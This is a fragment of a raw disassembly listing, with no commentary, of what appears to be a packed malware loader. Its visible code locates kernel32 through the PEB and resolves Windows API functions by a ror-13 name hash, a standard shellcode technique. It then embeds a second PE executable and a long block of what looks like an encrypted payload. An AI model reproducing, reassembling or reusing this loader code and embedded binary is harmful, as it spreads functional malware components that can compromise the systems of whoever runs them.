18B9242Ch, 81000010h, 401006EDh dd 90909000h, 17E8C181h, 0EB900000h, 5E3FF91h, 16000070h dd 0B5FFC789h, 131h, 135858Dh, 57500000h, 571A55FFh, 681E55FFh dd 0 ; --------------------------------------------------------------------------- push esi call dword ptr [ebp+12h] add esp, 400h popa retn ; --------------------------------------------------------------------------- pusha mov edi, eax loc_4340A7: ; CODE XREF: _0niaacah:004340B5j mov eax, [edi] test eax, eax jz short loc_4340B7 push ebx push eax call sub_4340DD stosd jmp short loc_4340A7 ; --------------------------------------------------------------------------- loc_4340B7: ; CODE XREF: _0niaacah:004340ABj popa retn ; --------------------------------------------------------------------------- push ebp mov eax, large fs:30h test eax, eax js short loc_4340D0 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp short loc_4340D9 ; --------------------------------------------------------------------------- loc_4340D0: ; CODE XREF: _0niaacah:004340C2j mov eax, [eax+34h] mov ebp, [eax+0B8h] loc_4340D9: ; CODE XREF: _0niaacah:004340CEj mov ebx, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_4340DD proc near ; CODE XREF: _0niaacah:004340AFp var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4340F3: ; CODE XREF: sub_4340DD+33j jecxz short loc_434127 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi cld loc_4340FE: ; CODE XREF: sub_4340DD+2Dj xor eax, eax lodsb cmp al, ah jz short loc_43410C ror edi, 0Dh add edi, eax jmp short loc_4340FE ; --------------------------------------------------------------------------- loc_43410C: ; CODE XREF: sub_4340DD+26j cmp edi, [esp+20h+arg_0] jnz short loc_4340F3 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp jmp short loc_434129 ; --------------------------------------------------------------------------- loc_434127: ; CODE XREF: sub_4340DD:loc_4340F3j xor eax, eax loc_434129: ; CODE XREF: sub_4340DD+48j mov [esp+20h+var_4], eax popa retn 8 sub_4340DD endp ; --------------------------------------------------------------------------- align 2 dw 0AAh dd 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 0C800h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 83F10700h, 0ED9043D8h, 2 dup(0ED90438Bh), 0B098C08Bh dd 0ED90408Bh, 0EC90438Bh, 0ED90428Bh, 0ED90438Bh, 0ED90428Bh dd 0B79C468Bh, 0ED90428Bh, 6369528Bh, 0ED904368h, 8Bh dd 3 dup(0) dd 455000h, 3014C00h, 1E138600h, 43h, 0 dd 0F00E000h, 7010B01h, 0Ah, 0A60000h, 4C0000h, 113CF00h dd 2 dup(100000h), 80000000h, 100009h, 20000h, 400h, 0 dd 400h, 0 dd 1200000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 600800h, 2800h, 14h dup(0) dd 600000h, 800h, 6 dup(0) dd 73622E00h, 73h, 4A1C00h, 100000h, 5 dup(0) dd 8000h, 64722EC0h, 617461h, 5400h, 600000h, 20000h, 40000h dd 3 dup(0) dd 4000h, 61642E40h, 6174h, 0A3FE00h, 700000h, 0A40000h dd 60000h, 3 dup(0) dd 4004000h, 0C0h, 71h dup(0) dd 603800h, 0 dd 603000h, 2 dup(0) dd 604600h, 600000h, 5 dup(0) dd 603800h, 0 dd 4500AF00h, 50746978h, 65636F72h, 4B007373h, 454E5245h dd 2E32334Ch, 6C6C64h, 6Bh dup(0) dd 3D9A5100h, 0B25D970Ch, 82526279h, 15DEDEB6h, 8F16940Fh dd 6F38FDA7h, 0BE874E4Eh, 0E7AB59F5h, 0B403F46Ch, 0E051F69Bh dd 5D072C80h, 0A0D3782Ch, 6D1F2AB3h, 6D36FFC8h, 0E59023CFh dd 0EB5CA055h, 892EC36Ch, 5FD1E88h, 0CA01E074h, 71B4BBFCh dd 73673A28h, 3FDD00B0h, 8662CFBCh, 39D39CEEh, 0A5893E9Dh dd 2A0B7090h, 0DFF8B881h, 6D2C4FB9h, 0C398A6F3h, 0FAB92544h dd 4D5173D9h, 14F06253h, 58A3AB46h, 96EE500h, 183ED66Fh dd 0F8C18A2Bh, 4ECE662Fh, 0F0630AA0h, 6019B169h, 8B8F2EEAh dd 0EAAED7E4h, 0CEC7DC9h, 0AC17B091h, 0DAEA1EE7h, 8783A63h dd 531CE5ACh, 983BFDBAh, 76484468h, 2114E6CFh, 0CEC64A9Dh dd 743DD032h, 6CC377A2h, 4796B288h, 0A5E5B5FEh, 2DF562Ah dd 91F411E1h, 80BB1798h, 0C3ECBD14h, 0E7A06DF3h, 3C8C551Eh dd 0F9829ECh, 0B37CD14Fh, 0E75821EAh, 6F2F788Dh, 327FCBF1h dd 67C69801h, 642DF6AFh, 1BD49D5Dh, 6FCE00D2h, 0D2A4CDA6h dd 73CA564Ch, 0D111E1CAh, 735C7DDEh, 0DFF0E1AAh, 0D6642DF6h dd 0AD772045h, 89561FE8h, 9236FFC8h, 0FF10D95Ch, 0DBA46D36h dd 0F7804912h, 0D39C652Eh, 0AF78410Ah, 8B541DE6h, 6730F9C2h dd 430CD59Eh, 1FE8B17Ah, 0FBC48D56h, 0D7A06932h, 0B37C450Eh dd 9E5922EBh, 611291CAh, 0E60E8A2Ch, 40A0FA7h, 26D871ECh dd 0E580B99Ch, 4CF6812Fh, 3BA349A8h, 9653F99Ch, 391886ADh dd 4AAB6C02h, 19260FA8h, 52C80D97h, 0EE41ED8Ch, 0CAA76428h dd 0EEB78049h, 99935C25h, 4A246C8Eh, 53E9FA10h, 3CF0E329h dd 0DB0CC2h, 0E73A21ECh, 431C5785h, 1229B411h, 73324EAh dd 8840A396h, 0B3A7B05Eh, 1AD12A1Ah, 0F63B2CE2h, 845A2D9Eh dd 0E2BFA866h, 0BD4E11F2h, 9A56814Fh, 16B8AB60h, 0BA4D66B4h dd 25CFD846h, 0EE2235DBh, 0F4055EFCh, 0D6697A90h, 60BFC0BAh dd 4E81D278h, 6D5AE12h, 0A43F28E6h, 4FD17C16h, 3FE4FF1Dh dd 1BE4AD76h, 0F7C08952h, 0D39C652Eh, 0FF78410Ah, 6CE9B273h dd 0C915D8A2h, 21E44C1Bh, 0FDC68F58h, 39A26B34h, 0CF4D29F0h dd 0BD763907h, 3902CB54h, 25EEB760h, 521BE20Ch, 9F6831F9h dd 0ECB57CA6h, 29F2BB43h, 15DE9760h, 1CA935Ch, 0DBA8713Ah dd 0BF88511Ah, 9F642DF6h, 7B440DD6h, 5720E9B2h, 450ED79Eh dd 25EEB778h, 2CA935Ch, 0E0A9723Bh, 0CC955E17h, 0B8814A13h dd 0A46D36EFh, 905922CBh, 7C35FEC7h, 0FC21EAB3h, 603CA52h dd 521BE4ADh, 2B5821E9h, 10D9A26Bh, 0ECB57E47h, 0C8915A23h dd 0A46D36FFh, 804912DBh, 5C25EEB7h, 0D801CA93h, 5E1FE62Eh dd 3A03CC95h, 16DFA871h, 0F2BB844Dh, 0CE976029h, 0AA733C05h dd 864F18E1h, 622BF4BDh, 3E07D099h, 1AE3AC75h, 0F6BF8851h dd 0D29B642Dh, 0AE774009h, 8A531CE5h, 662FF8C1h, 420BD49Dh dd 1EE7B079h, 0FAC38C55h, 0D69F6831h, 0B27B440Dh, 8E5720E9h dd 3F33FCC5h, 733C25A6h, 4F18E1AAh, 7C450CD6h, 6831FAA3h dd 440DD69Fh, 24EDB67Fh, 0C9925Bh, 0DCA56E37h, 38814A13h dd 0A13DA66Fh, 0FEA75FD0h, 0DAA36C35h, 0C68F5801h, 3CC959Dh dd 0E1AA7338h, 0C18A531Ch, 9D662FF8h, 79420BD4h, 151EE7B0h dd 64FA03CCh, 3CE11CEDh, 18E1AA73h, 945D26EFh, 9AA73BBh dd 3F08D19Ah, 21EAB370h, 0FDC68F58h, 0D9A26B34h, 957E4710h dd 351A430Ch, 0D8BD8825h, 0D13A8B1Ah, 0B3238178h, 11D402CAh dd 6608CA71h, 68C94AF7h, 0E15930DCh, 0A82E9101h, 8F868D8h dd 601AB481h, 977E02C7h, 0B554FD43h, 3EE16AE1h, 9A318155h dd 0A9AC46FAh, 0E99A04AFh, 56E2962Ch, 20EB58BDh, 19B4866Bh dd 37AEA922h, 17E25BB8h, 89533AA8h, 33E89A2Bh, 0B340ED83h dd 8B6BE152h, 8F86822h, 0E3432397h, 0CC0A8373h, 9D2DEF64h dd 3CD31EE7h, 0C221282Fh, 0A24CE771h, 3ADE6411h, 0B360E59Eh dd 894E33F8h, 70E78B21h, 5A3308B0h, 4C89049Fh, 8F740FA5h dd 8841C253h, 0C469EC96h, 42F1A852h, 0CA671BB0h, 8280610Ch dd 0D862CCDh, 0B5590C08h, 52C76F0Fh, 18B254C1h, 6525DF70h dd 8F44D7BCh, 6B34FDC6h, 4710D9A2h, 23ECB57Eh, 0FFC8915Ah dd 0DBA46D36h, 0B7804912h, 935C25EEh, 6F3801CAh, 4B14DDA6h dd 27F0B982h, 3CC955Eh, 0DFA8713Ah, 0BB844D16h, 976029F2h dd 733C05CEh, 4F18E1AAh, 2BF4BD86h, 7D09962h, 0E3AC753Eh dd 0BF88511Ah, 9B642DF6h, 774009D2h, 531CE5AEh, 2FF8C18Ah dd 0BD49D66h, 0E7B07942h, 0C38C551Eh, 9F6831FAh, 7B440DD6h dd 5720E9B2h, 33FCC58Eh, 0FD8A16Ah, 0EBB47D46h, 0C7905922h dd 0A36C35FEh, 7F4811DAh, 5B24EDB6h, 3700C992h, 13DCA56Eh dd 0EFB8814Ah, 0CB945D26h, 0A7703902h, 834C15DEh, 5F28F1BAh dd 3B04CD96h, 17E0A972h, 0F3BC854Eh, 0CF98612Ah, 0AB743D06h dd 875019E2h, 632CF5BEh, 3F08D19Ah, 0E7E4AD76h, 0A41DE42Eh dd 814A131Bh, 5D26EFB8h, 3902CB94h, 3DDEA770h, 83440D15h dd 0B07940CAh, 8C551EE7h, 6831FAC3h, 720DD69Fh, 408148D0h dd 0EDB67F87h, 0C9925B24h, 0A56E3700h, 0C34A13DCh, 0F9CA939Bh dd 36FFC650h, 12DBA46Dh, 0EEB78049h, 9A935C25h, 0A021E830h dd 8D561FE7h, 6932FBC4h, 450ED7A0h, 7DEAB37Ch, 43844DD5h dd 0F0B9808Ah, 0CC955E27h, 0A8713A03h, 0E24D16DFh, 0D0F1B840h dd 5D26EF37h, 3902CB94h, 15DEA770h, 83BA834Ch, 596A33FBh dd 0D69F66B0h, 0B27B440Dh, 8E5720E9h, 1433FCC5h, 0DEEFB67Eh dd 5B24ED35h, 3700C992h, 13DCA56Eh, 63B8814Ah, 41824BD3h dd 0EEB77E88h, 0CA935C25h, 0A66F3801h, 1A4B14DDh, 0A021E830h dd 8D561FE7h, 6932FBC4h, 450ED7A0h, 21EAB37Ch, 0FDC68F58h dd 0D1A26B34h, 9E8B179h, 733C050Dh, 2418E1AAh, 0BE58FF94h dd 0C3B6291Bh, 33FC8136h, 0AB4BED6Ah, 42E9B106h, 0DA8803CBh dd 7E02CB12h, 0F7AE27D2h, 822FB741h, 12A06EE5h, 68ECB578h dd 6AE473E0h, 2FAA1DE7h, 47C86D02h, 8E12E07Eh, 8D08E315h dd 0E92ACF6Ch, 1C8B1620h, 659F1F96h, 45EA07F2h, 8EA66FA0h dd 0A92EA32Fh, 0C415E05Bh, 0D781B257h, 35AE6432h, 7F1CB15Eh dd 0BA3FBEB6h, 4F2F462Eh, 45EA8FA8h, 5FD854CCh, 43DE58DFh dd 29CE638Ch, 0ECF76E8h, 972ED869h, 42F700E7h, 0B5AB74BDh dd 0CA3CC823h, 0A055E251h, 0F5491203h, 7315B95Eh, 0BA849ACh dd 1BE4AD66h, 72C08952h, 0CC11E3A0h, 7E713A03h, 0BD854CD4h dd 98622BF4h, 773F08D1h, 9F1CE5AEh, 8D26EF37h, 0BF34FD05h dd 0E3460F17h, 6F7C45EEh, 0CD965FA7h, 5EFB5804h, 1B14B9h dd 632CE9AEh, 3708D19Ah, 23ECB57Eh, 0FFC8915Ah, 0DBA46D36h dd 0B7804912h, 935C25EEh, 6F3801CAh, 0CB14DDA6h, 4E18917Eh dd 541C4888h, 7A9BC48Dh, 561FE8B1h, 0B0B48A0Eh, 0EA1DA532h dd 85BBF0A6h, 145A58E7h, 0F6BF8851h, 951A642Dh, 0A77039E1h dd 8FAE0735h, 380845C0h, 30E8FA3Ah, 0C5EFA4F6h, 7B49D9EEh dd 6FC7B6C0h, 4A14DDA6h, 0F446E058h, 89BE155Fh, 8A132BB9h dd 0D6FCA240h, 13C0022Ah, 65BDF2E1h, 0A29CBD67h, 0D75D7832h dd 0AD94D07Ch, 0E762296Ch, 4100289Dh, 4A8A0698h, 0F446E058h dd 89BE155Fh, 83132BB9h, 47E1594Bh, 0A1165EF5h, 1034B688h dd 0DD53C80h, 0BD7B27C5h, 278CA473h, 6AB23012h, 7A20C20Ah dd 46849454h, 3F706791h, 1E23E5E7h, 3DC50E96h, 0F42A5874h dd 0B6022AC2h, 0BA0B4DEBh, 2E4DDA8Dh, 0D19FDC67h, 4967DB53h dd 22586805h, 0C3E1C0ECh dd 3A7AB3E8h, 5BA42F71h, 951B5D13h, 61AC0854h, 6177BFD7h dd 76AC9C5Dh, 93A1AB40h, 99EE825Eh, 0C18A531Ch, 763FFB41h dd 0A4A26EADh, 57DF2C4Dh, 1EEACBF9h, 2173A090h, 534206Bh dd 0F839185Ah, 0E30EE7EEh, 2C8534E6h, 2CA56D88h, 7C82C48Ah dd 266D7CBCh, 4208B204h, 58CE038Ah, 0E135C452h, 0D952DBB4h dd 447E4811h, 28E5EBB1h, 0D99203A0h, 0C2ED4811h, 0C4CD000Eh dd 0CBEB7A8Fh, 2FE54BFBh, 40D553D1h, 0DB52ACD0h, 567295E0h dd 5F875849h, 1DD79796h, 0AC08D1DBh, 2F60F7B3h, 0C8BA0785h dd 101ED2A1h, 9578D5DCh, 46DE6C2Ch, 905A149Eh, 0BD444E4Bh dd 72BC3D64h, 27915B5Bh, 696D230Ch, 1098A740h, 5192185Ah dd 0CFA64C67h, 1F15A4CFh, 78819E9h, 0C48F4FCFh, 0E425875h dd 0AE6139C9h, 864ECC8Ch, 23CAD0BFh, 448E915Ah, 0C92A0E7Dh dd 5B450DD6h, 773586AEh, 0EEC77775h, 0F7BF7693h, 0D0A46D2Dh dd 0CC95471Eh, 0A10ADDF5h, 0F938AD67h, 0E8A0743Dh, 588E84D2h dd 0C820295Dh, 0D30B73C7h, 69220BB4h, 2060128Bh, 0EAFB37Eh dd 6834EDCFh, 5305A254h, 5EF74855h, 0F23B25D7h, 0C105A0D6h dd 1A840128h, 0F2604B01h, 0BC2253EBh, 8E4A0C75h, 2F659B47h dd 0F792ADB9h, 0CDBB4F9Bh, 721AA5A9h, 0E18A08C2h, 28ED2344h dd 83CB645Dh, 0B0E6F8C7h, 9A1420C1h, 890E9415h, 38478B09h dd 31B53FBDh, 7A487E44h, 0C40AF3BAh, 30BF3AB6h, 6EA22AB6h dd 5FD5EEB6h, 9952C337h, 0BB3FC9FFh, 9638138h, 7473F03Dh dd 77D087A3h, 2CC5498Eh, 8A1EE453h, 158EF4A3h, 2E0AB2A3h dd 0F8F1EE98h, 3A7044EBh, 0A5772EF9h, 7FF4CCD4h, 0D88A33D8h dd 0BBFD9622h, 53ED3977h, 5C59A360h, 0C79C376Ch, 4371435Dh dd 0AC7C045h, 0CDAF38BEh, 20B40F28h, 0E4BD21B2h, 78388D0Ah dd 0C092B6F1h, 139720D0h, 830B11E0h, 7A54BE4h, 0D379E86Dh dd 0F3352B10h, 3166769Dh, 8236C16Fh, 18E84FE6h, 343CE222h dd 49865DEh, 0C63F5A88h, 0A41FF66Dh, 905C95E9h, 801FB05h dd 0B1641258h, 0DE5EFF6Bh, 14B59F05h, 0FF80591Ah, 93A5834Dh dd 0E151128Fh, 3FA90F28h, 0F5ECD0A5h, 0C01EC872h, 15FDD6A7h dd 0C2751ADBh, 754C5051h, 9C993FD3h, 58CB81A4h, 28E8B2ABh dd 2C0063B7h, 0C2C06919h, 713FA040h, 9B8C7CC7h, 9A034140h dd 41100CF1h, 0B1F75558h, 17592AB4h, 50DF97CDh, 106CAAB0h dd 7AFB6608h, 7223EEB7h, 72801EA8h, 2BF74Dh, 2137EAC3h dd 8B4B6FF4h, 0E685826Eh, 3E167FCFh, 0D1F5390Bh, 85D65F3Eh dd 0D08BB7A3h, 310A44C4h, 5615ECCAh, 0D62AF062h, 4A13CDB8h dd 0CB6A108Eh, 74821E3Dh, 9F1C67BEh, 378081AEh, 0B10C6376h dd 3441FD86h, 621226FDh, 36284E99h, 0D29842EFh, 0C17CC118h dd 0A38B1C20h, 5EE829E1h, 0B235050Bh, 0DD54522Dh, 0D83EFA7Dh dd 72BBC5B6h, 572A27FDh, 76C09CB8h, 3199E6DAh, 5DDD1727h dd 0B003AD9Dh, 3526E194h, 0B9A27B6Ch, 0B2466A3Eh, 0A8CE14A3h dd 98716984h, 1E8401F6h, 568F0E4Ch, 0DC1EB486h, 12B8C79h dd 0D575BE5Bh, 40C66794h, 8D31D099h, 66C720D3h, 807F4889h dd 5AA54B23h, 42996D6Ah, 0F66805ADh, 83A9B97Ch, 177AB6EEh dd 0B579FD75h, 0EAD862CCh, 1E3B458Ah, 0D71C2BF5h, 7817C005h dd 0CAD410B9h, 4BA7854Bh, 625E2DD0h, 0EF6EB685h, 76AFE869h dd 59199FADh, 40818E66h, 13CD2668h, 66248BEBh, 0ED84F0CBh dd 0A7E7023Ah, 1DC14709h, 9E53A042h, 72B120DEh, 0BAC6C21h dd 0BBEFC5F0h, 0B0DEE488h, 5AF59C9Dh, 0C2DCA1CAh, 1AC51F1h dd 17867F1Eh, 0B8144FC5h, 0E5520D2Fh, 0CB240744h, 3D1C4146h dd 828192h, 0BE6CA294h, 0E9104573h, 359ABFC3h, 6150779Ah dd 80B02E1h, 531076B7h, 5B694A0h, 4387BDEFh, 3BC60A35h dd 492C568Bh, 0C9156FC3h, 56E5F9F1h, 0B7E2DD69h, 0C72B2F9Ch dd 0EF151386h, 0A5928BF5h, 1E7B625Fh, 0E5D1D227h, 0CF46260Bh dd 0F406D6FDh, 32E61090h, 0B57FB6D5h, 0C325627Eh, 0DA103088h dd 6FE8463Ch, 1E95595Ch, 23A9FCD7h, 0FD59587Bh, 2C8EFDBFh dd 92C8FC4Fh, 35F7065Ch, 4C77FFE9h, 0A38AE9CEh, 1496EDE3h dd 0DAD2ED8Bh, 6B3ABB7Bh, 69B3DACBh, 86C25CDh, 0D1CF053Bh dd 0C56CB05Dh, 2C944BFFh, 3ADD2CCBh, 19999B07h, 0BD1D1D57h dd 0E6F5A204h, 2F4B0DBBh, 0B05AB254h, 0ABEC2E4Bh, 0F7B7E223h dd 6886D2B8h, 0C16D0E52h, 6655D7C8h, 29ACE43Bh, 26BF236Ah dd 93477FFEh, 7A9758B1h, 401F0091h, 698E1C97h, 783D4439h dd 0E647169Eh, 1660E6D2h, 0C63E834Bh, 8B7AEA95h, 64536200h dd 0C06D9E45h, 6584CD8h, 0D790EA00h, 66C3913Dh, 7AF823B7h dd 8D386B39h, 0A6C70F8Eh, 7180A9EDh, 0C2F74D4Bh, 0E0D5DD78h dd 62F1DEDEh, 936F99A9h, 0C14AC558h, 0ACC7F975h, 72EB7098h dd 35793CFFh, 0B8D29B8Bh, 0F2FED50Eh, 35D462D1h, 0D6101099h dd 0CA08AEF4h, 9E18AB63h, 0F233BE51h, 654C3AEh, 0EC36B288h dd 38601F4Bh, 0E4403C78h, 6120F34Dh, 0E4C918CFh, 9488CFC4h dd 0BD26ABF3h, 0B566CF15h, 7879B977h, 4B7650DBh, 0B871B81Ch dd 0BFC6E0CAh, 49299462h, 0C1BF12CDh, 7ABF6C9Bh, 5BF03B32h dd 0A38288CEh, 0C24262h, 0E1D23379h, 7CB2E848h, 7EEA3446h dd 0AF84AD8Fh, 0BF42CECEh, 746EC7Dh, 30C8C2Fh, 4C8192D2h dd 5FE10C2h, 0E71DABE9h, 60220F95h, 0A0D98F77h, 5C75C62Bh dd 7B7D79A7h, 0DFF1FFB7h, 808D44A4h, 94BD2FDBh, 15FF87C4h dd 46038DB4h, 2A5207C6h, 1F98B767h, 36567729h, 131E10FDh dd 0DAE131F6h, 91A96819h, 0DED2470h, 13D99B64h, 3A707069h dd 0AB6AFAFFh, 0C46D468Dh, 21F38C31h, 3EB4020Ah, 0CF3279BFh dd 0A772A708h, 3BDF782Bh, 0CE6BCE95h, 0D6E7ED29h, 0D2F63FE2h dd 0A6993AB3h, 33C461E7h, 4EA0D6B2h, 0E3984847h, 0D52DF221h dd 0A979C797h, 3CE996B7h, 4C02A083h, 7CC2487Eh, 0FD6133D5h dd 6F19BF58h, 41F25EB2h, 0A369DD26h, 0ED1BEB7Dh, 742D2AB7h dd 4275E9A8h, 7AB0BBF7h, 0C36F08C4h, 0E6463536h, 9A5202A2h dd 1C141DB6h, 0D7FB51DBh, 30F92685h, 0A2321F14h, 0D2BB470Fh dd 2AFC9C34h, 0D2674573h, 0EC09F54Ch, 0F554E50Dh, 0F12B721h dd 9DAB4FE5h, 111C58DDh, 0FA1B9994h, 6B676531h, 0A999A3D1h dd 0A4AB44C1h, 0B81DEE52h, 0C48E01D3h, 0B95FA44Dh, 5D7A239Dh dd 6BCD56EAh, 856BF6F2h, 87D28F4Dh, 0F84D8267h, 5A903438h dd 0AE611EB5h, 0A65DF504h, 35623414h, 0AB71E692h, 7FA1730Ch dd 0CB1BEFB4h, 4B61A7DDh, 66FF4FD5h, 3E8188Ah, 0B4A043B8h dd 2A21A567h, 0FC5B957h, 4EBC6F27h, 19E279C2h, 0F543F92Fh dd 20D423EFh, 2DAF37DDh, 2E34C39Ah, 4BE50C07h, 72F71F87h dd 54BE3992h, 0C2F8CE32h, 8C5CF073h, 0D1403015h, 7BFA6429h dd 2BAF2EECh, 2436C586h, 45290724h, 928643E3h, 0EDA7DA78h dd 0E609FF4Eh, 0C489334Ch, 0A3AE8B4Ch, 0BFBF8635h, 0E962F65Dh dd 0D6813117h, 262E34F7h, 72C2AD11h, 0BC43B85Ah, 25D85916h dd 655DEFD9h, 58E66833h, 45D855A7h, 3E02A1B4h, 62D5461Eh dd 28D118CAh, 0E3480410h, 4B79AA5Ch, 5A0A0115h, 2A926DE5h dd 42223CD2h, 0A6A42CD6h, 0AF6E8D41h, 640C3CBBh, 0BAF0A481h dd 8930232Ah, 49E149D4h, 19827810h, 503794E6h, 8BB965C9h dd 1E4010FEh, 880F0126h, 0A338C067h, 8D443D1h, 7199EEEEh dd 61846A81h, 2C851B90h, 0AEEAC640h, 0B05E85FCh, 82343CB3h dd 1CE241D0h, 0D610774Eh dd 607BA700h, 67DD07F8h, 6ECAFF35h, 0E0863FD3h, 8837A837h dd 3EC803E3h, 0CC15CC5Eh, 35269568h, 4D84B8C7h, 338F18D7h dd 8534E681h, 0ABAD21F2h, 0BA370B4h, 0E32B3B53h, 7F17BA67h dd 9A4166DBh, 0BB9BFEC6h, 8820169Fh, 5151700h, 40FAB050h dd 0F9371630h, 0BE02F8B9h, 0F54F34CAh, 18038B44h, 0F5ACDBCFh dd 0D8418444h, 5D318050h, 55A6678Ch, 0A9AC1B2h, 673ADCB8h dd 0F53F59D5h, 0DAC34E2Fh, 380A284Ah, 0CBDA4A2Bh, 4E8302CEh dd 0D674A28Ah, 60D6D5C6h, 1E0D9FB5h, 353E917h, 998F11C5h dd 0D9835326h, 4F04FC7Ah, 96032A8Dh, 52764DB1h, 0FF14D9E8h dd 6D2CDC4Eh, 9979FD0Fh, 8412E75Fh, 0ED6E12CAh, 0C625A20Ch dd 6ECE3262h, 926E8170h, 373F2B34h, 28D656DCh, 59FF5DFCh dd 2937ED23h, 0F94A9266h, 0B961FB5Eh, 3F24E10h, 219551A4h dd 833AB023h, 5F1FBBB9h, 0CBF4AAD9h, 85739795h, 1046B567h dd 0F162DE60h, 0CCD766Ah, 0C434DB6Dh, 87D6AC72h, 0ED2040A9h dd 0C256D11Fh, 0CA60D146h, 8A242D3h, 27BCBC5Ch, 6356DCADh dd 37D07446h, 6AFE61ABh, 3BD01A8Eh, 81502911h, 0E3A823E4h dd 98FFF2C1h, 865D8E9Fh, 0AD288A1Ch, 671DDF20h, 0FD733FB5h dd 8160866Ch, 0C935C329h, 0EAAA3747h, 0BD7F86FEh, 23BA3EB3h dd 179C8044h, 0EE671D71h, 0D255DF52h, 0CF850502h, 9CB11E8Bh dd 0B38F5DD6h, 0A6C26CB0h, 6040C36Ah, 0B4FD70ECh, 81B329FAh dd 0CC4A2F19h, 4D8C4F75h, 0EB394BABh, 5BA785F9h, 53D159D8h dd 52A6B6DEh, 0CF9D3956h, 0B63E835Bh, 4FE6BB20h, 275707EBh dd 75A33A10h, 0E57EF3C3h, 0E325569Ch, 827DCC9h, 0DE52A49Bh dd 48D81295h, 678264C2h, 51C6C7Bh, 0AC346BAh, 4CD05D2Bh dd 1A560129h, 0BCB9C9D7h, 6C2ED28Ch, 0FF2BAEA6h, 0C1AC343Bh dd 0AF173FD7h, 9443A136h, 65787228h, 0AB3DC344h, 0B0E6DEBDh dd 0AF5AC643h, 48A01FFEh, 49E96FB2h, 288E8330h, 9A2A8D23h dd 5E8024EFh, 0A3177515h, 7E448F1h, 610F2A0Ah, 3608BDCBh dd 1D27267h, 0F1EF19FFh, 827280E8h, 924EB46Eh, 5507E4AEh dd 0FC699A45h, 121FCAFCh, 22EF9D22h, 7AD38495h, 1112E77Dh dd 39E280C7h, 859F5D19h, 0F6F11EC7h, 0BB3951F7h, 0B252301Ch dd 4BFA6608h, 0B15E3FE4h, 0F919105Ch, 36C3D183h, 72DA37FBh dd 0A52A6EB0h, 1D3FC2D0h, 35CB8A5Eh, 7C9C135Ch, 50FA55FDh dd 0C53FAF33h, 400C5CE5h, 3D9B319Ch, 74EE921Bh, 0E3AB61F0h dd 5184EFE5h, 45D941CAh, 5CD55B1Dh, 0C871F8AAh, 0BE009F69h dd 0BB3A4CA8h, 7427B827h, 769F09FCh, 60EB2C9Ch, 279D76F8h dd 0A3D90FA5h, 1BF823DEh, 0E85A44A9h, 0FB50CA73h, 0F569FF5Eh dd 0B01E9077h, 0F081B790h, 853B87B3h, 749F56CFh, 44A631D5h dd 2EDE12ECh, 608762FFh, 0F0360EA3h, 0D67AACA4h, 903CDC09h dd 5B063EDBh, 87916DF8h, 0A17B27D9h, 92858313h, 0BB43FE4Bh dd 0FB50D336h, 840F8166h, 0A93FD592h, 325BDD6h, 0EB511ECDh dd 0E958F478h, 510FAF37h, 70D81FF3h, 65AD35F2h, 0E3794F73h dd 0DA01F952h, 0B80BE07Ch, 0C7B0B120h, 0BC2E9609h, 901002BCh dd 4A25575Dh, 0AAC335FBh, 6B9FF0F5h, 8F5A38C9h, 0A1D8661Fh dd 2E97241Dh, 0EA7E3DF8h, 7033AD8h, 0BF5E3CF9h, 3041C3EDh dd 0F89A0E12h, 0FC6B6456h, 5A2DF705h, 0E7AA56E2h, 444EE401h dd 7FC5E6D4h, 0E698489Dh, 22F3BD6Fh, 6FE51D0Eh, 0D28697A1h dd 37A60839h, 4A351D89h, 0A799E7ACh, 0E71BEF61h, 0A1569789h dd 4463511Ch, 213AC766h, 0F751FF04h, 0C89A6036h, 0E263A51Ah dd 6619692Ch, 0AEAE8EBBh, 221ED162h, 9FD65B8Ch, 61D64ABDh dd 334D1A84h, 25F76FFBh, 0F98A7214h, 3527CE34h, 5FF926C0h dd 0B65C3997h, 0B3B2E8E2h, 0E22AB125h, 3BA0822Fh, 9035EBC0h dd 3E39E084h, 10E89091h, 0A8A04C17h, 5FDC760Ch, 98A1170Eh dd 0CA56328Ch, 0C2963031h, 38FA0370h, 3F4FBA5Fh, 7E174B4h dd 5C56E54Eh, 0CC961596h, 86F70969h, 93D323B6h, 0DF91003Bh dd 52EF0E4Ah, 9F6B4DBCh, 0F150DE8Eh, 0F6FDB152h, 0C9A9DFA6h dd 2A397470h, 0EC51C06Ah, 0B8F8087Fh, 96D86C88h, 30D962E6h dd 105D03F1h, 2EFDC802h, 56956FF5h, 76110022h, 14F8BAFFh dd 207B6C92h, 0C31A02A5h, 8A175E3Dh, 7725E343h, 0A225ACC7h dd 0B3B22850h, 579E8F70h, 9DBBCD89h, 6F2094FFh, 24F54BECh dd 132B2A46h, 0A110883h, 0A59906BAh, 5414EC33h, 0B356FD3Ah dd 5FF9F7F6h, 81AF88A3h, 0B06E52ECh, 4F91721Bh, 7ABA26C0h dd 19232C3h, 0FE75597Dh, 58FF426Bh, 0A300DCB4h, 958F476Ah dd 7EB45DA7h, 5ED6116h, 0F100FA1Ah, 871D15DBh, 0B414503Fh dd 3B0F00FFh, 2BF53B3Ch, 35F876FEh, 0C868FD4Ah, 0CC25EE98h dd 50CDB592h, 812936DFh, 0B133D32Ch, 684485BDh, 6E06AAB6h dd 0A4AF26C3h, 6DD45954h, 0E07C998h, 0A4B314BCh, 3D9B93ECh dd 340BB790h, 5D078C48h, 40B04659h, 1C32C07Ch, 0ECA09EFFh dd 20DD5105h, 0FE7A527Eh, 8BD43070h, 0F0950639h, 6B4B5FD5h dd 0A40168CFh, 819837E1h, 6929339Fh, 801EAABh, 0C770C9AAh dd 87E6AD9h, 0EE47F75Eh, 952FA543h, 78C3ACF1h, 